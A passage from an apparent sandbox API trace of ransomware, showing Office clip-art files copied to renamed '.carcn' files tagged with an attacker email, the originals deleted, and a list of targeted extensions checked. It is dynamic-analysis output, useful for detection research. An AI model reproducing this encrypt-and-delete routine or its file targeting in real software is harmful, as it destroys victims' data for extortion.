returned 1 [0283.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0283.157] GetLastError () returned 0x0 [0283.157] ReadFile (in: hFile=0x524, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x4604, lpOverlapped=0x0) returned 1 [0283.173] WriteFile (in: hFile=0x4a8, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x4610, lpOverlapped=0x0) returned 1 [0283.174] ReadFile (in: hFile=0x524, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0283.174] WriteFile (in: hFile=0x4a8, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0283.174] SetEndOfFile (hFile=0x4a8) returned 1 [0283.181] CloseHandle (hObject=0x4a8) returned 1 [0283.207] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.207] SetEndOfFile (hFile=0x524) returned 1 [0283.211] CloseHandle (hObject=0x524) returned 1 [0283.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0283.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0283.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0283.213] lstrlenW (lpString=".doc") returned 4 [0283.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.213] lstrlenW (lpString=".docx") returned 5 [0283.213] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.213] lstrlenW (lpString=".pdf") returned 4 [0283.213] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.213] lstrlenW (lpString=".xls") returned 4 [0283.213] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.213] lstrlenW (lpString=".xlsx") returned 5 [0283.213] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.213] lstrlenW (lpString=".ppt") returned 4 [0283.213] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0283.213] lstrlenW (lpString=".zip") returned 4 [0283.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.214] lstrlenW (lpString=".rar") returned 4 [0283.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.214] lstrlenW (lpString=".bz2") returned 4 [0283.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.214] lstrlenW (lpString=".7z") returned 3 [0283.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0283.214] lstrlenW (lpString=".dbf") returned 4 [0283.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0283.214] lstrlenW (lpString=".1cd") returned 4 [0283.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0283.214] lstrlenW (lpString=".jpg") returned 4 [0283.214] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.215] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=31180) returned 1 [0283.215] CloseHandle (hObject=0x524) returned 1 [0283.215] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220 [0283.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0283.217] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.217] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0283.218] GetLastError () returned 0x0 [0283.218] ReadFile (in: hFile=0x524, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x79cc, lpOverlapped=0x0) returned 1 [0283.225] WriteFile (in: hFile=0x4a8, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x79d0, lpOverlapped=0x0) returned 1 [0283.227] ReadFile (in: hFile=0x524, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0283.227] WriteFile (in: hFile=0x4a8, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0283.227] SetEndOfFile (hFile=0x4a8) returned 1 [0283.227] CloseHandle (hObject=0x4a8) returned 1 [0283.227] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.227] SetEndOfFile (hFile=0x524) returned 1 [0283.231] CloseHandle (hObject=0x524) returned 1 [0283.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1 [0283.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0283.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0283.232] lstrlenW (lpString=".doc") returned 4 [0283.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.233] lstrlenW (lpString=".docx") returned 5 [0283.233] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.233] lstrlenW (lpString=".pdf") returned 4 [0283.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.233] lstrlenW (lpString=".xls") returned 4 [0283.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.233] lstrlenW (lpString=".xlsx") returned 5 [0283.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.233] lstrlenW (lpString=".ppt") returned 4 [0283.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0283.233] lstrlenW (lpString=".zip") returned 4 [0283.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.233] lstrlenW (lpString=".rar") returned 4 [0283.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.233] lstrlenW (lpString=".bz2") returned 4 [0283.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.233] lstrlenW (lpString=".7z") returned 3 [0283.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0283.234] lstrlenW (lpString=".dbf") returned 4 [0283.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0283.234] lstrlenW (lpString=".1cd") returned 4 [0283.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68 [0283.234] lstrlenW (lpString=".jpg") returned 4 [0283.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.234] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=12958) returned 1 [0283.234] CloseHandle (hObject=0x524) returned 1 [0283.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220 [0283.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0283.235] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.235] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8 [0283.236] GetLastError () returned 0x0 [0283.236] ReadFile (in: hFile=0x524, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x329e, lpOverlapped=0x0) returned 1 [0283.238] WriteFile (in: hFile=0x4a8, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x32a0, lpOverlapped=0x0) returned 1 [0283.239] ReadFile (in: hFile=0x524, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0283.239] WriteFile (in: hFile=0x4a8, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0283.239] SetEndOfFile (hFile=0x4a8) returned 1 [0283.240] CloseHandle (hObject=0x4a8) returned 1 [0283.240] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.240] SetEndOfFile (hFile=0x524) returned 1 [0283.242] CloseHandle (hObject=0x524) returned 1 [0283.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.243] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0283.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0283.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0283.244] lstrlenW (lpString=".doc") returned 4 [0283.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.244] lstrlenW (lpString=".docx") returned 5 [0283.244] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.244] lstrlenW (lpString=".pdf") returned 4 [0283.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.244] lstrlenW (lpString=".xls") returned 4 [0283.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.244] lstrlenW (lpString=".xlsx") returned 5 [0283.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.244] lstrlenW (lpString=".ppt") returned 4 [0283.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0283.245] lstrlenW (lpString=".zip") returned 4 [0283.245] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.245] lstrlenW (lpString=".rar") returned 4 [0283.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.245] lstrlenW (lpString=".bz2") returned 4 [0283.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.245] lstrlenW (lpString=".7z") returned 3 [0283.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0283.245] lstrlenW (lpString=".dbf") returned 4 [0283.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0283.245] lstrlenW (lpString=".1cd") returned 4 [0283.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0283.245] lstrlenW (lpString=".jpg") returned 4 [0283.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.246] GetFileSizeEx (in: hFile=0x524, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2488) returned 1 [0283.246] CloseHandle (hObject=0x524) returned 1 [0283.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220 [0283.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0283.499] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.499] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0283.501] GetLastError () returned 0x0 [0283.501] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x9b8, lpOverlapped=0x0) returned 1 [0283.516] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x9c0, lpOverlapped=0x0) returned 1 [0283.517] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0283.517] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0283.517] SetEndOfFile (hFile=0x524) returned 1 [0283.518] CloseHandle (hObject=0x524) returned 1 [0283.518] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.518] SetEndOfFile (hFile=0x530) returned 1 [0283.521] CloseHandle (hObject=0x530) returned 1 [0283.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1 [0283.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0283.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0283.522] lstrlenW (lpString=".doc") returned 4 [0283.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0283.522] lstrlenW (lpString=".docx") returned 5 [0283.523] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0283.523] lstrlenW (lpString=".pdf") returned 4 [0283.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0283.523] lstrlenW (lpString=".xls") returned 4 [0283.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0283.523] lstrlenW (lpString=".xlsx") returned 5 [0283.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0283.523] lstrlenW (lpString=".ppt") returned 4 [0283.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0283.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0283.523] lstrlenW (lpString=".zip") returned 4 [0283.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0283.523] lstrlenW (lpString=".rar") returned 4 [0283.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0283.523] lstrlenW (lpString=".bz2") returned 4 [0283.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0283.523] lstrlenW (lpString=".7z") returned 3 [0283.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0283.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0283.523] lstrlenW (lpString=".dbf") returned 4 [0283.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0283.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0283.523] lstrlenW (lpString=".1cd") returned 4 [0283.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0283.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68 [0283.524] lstrlenW (lpString=".jpg") returned 4 [0283.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0283.525] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2636) returned 1 [0283.525] CloseHandle (hObject=0x530) returned 1 [0283.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x220 [0283.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0283.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0283.526] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.526] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0283.527] GetLastError () returned 0x0 [0283.527] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0xa4c, lpOverlapped=0x0) returned 1 [0283.541] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xa50, lpOverlapped=0x0) returned 1 [0283.542] ReadFile (in: hFile=0x530, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0283.542] WriteFile (in: hFile=0x524, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0283.543] SetEndOfFile (hFile=0x524) returned 1 [0283.543] CloseHandle (hObject=0x524) returned 1 [0283.543] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0283.543] SetEndOfFile (hFile=0x530) returned 1 [0283.551] CloseHandle (hObject=0x530) returned 1 [0283.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0283.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0283.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0283.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68 [0283.552] lstrlenW (lpString=".doc") returned 4 [0283.552] lstrcmpiW (lpString1=".doc", 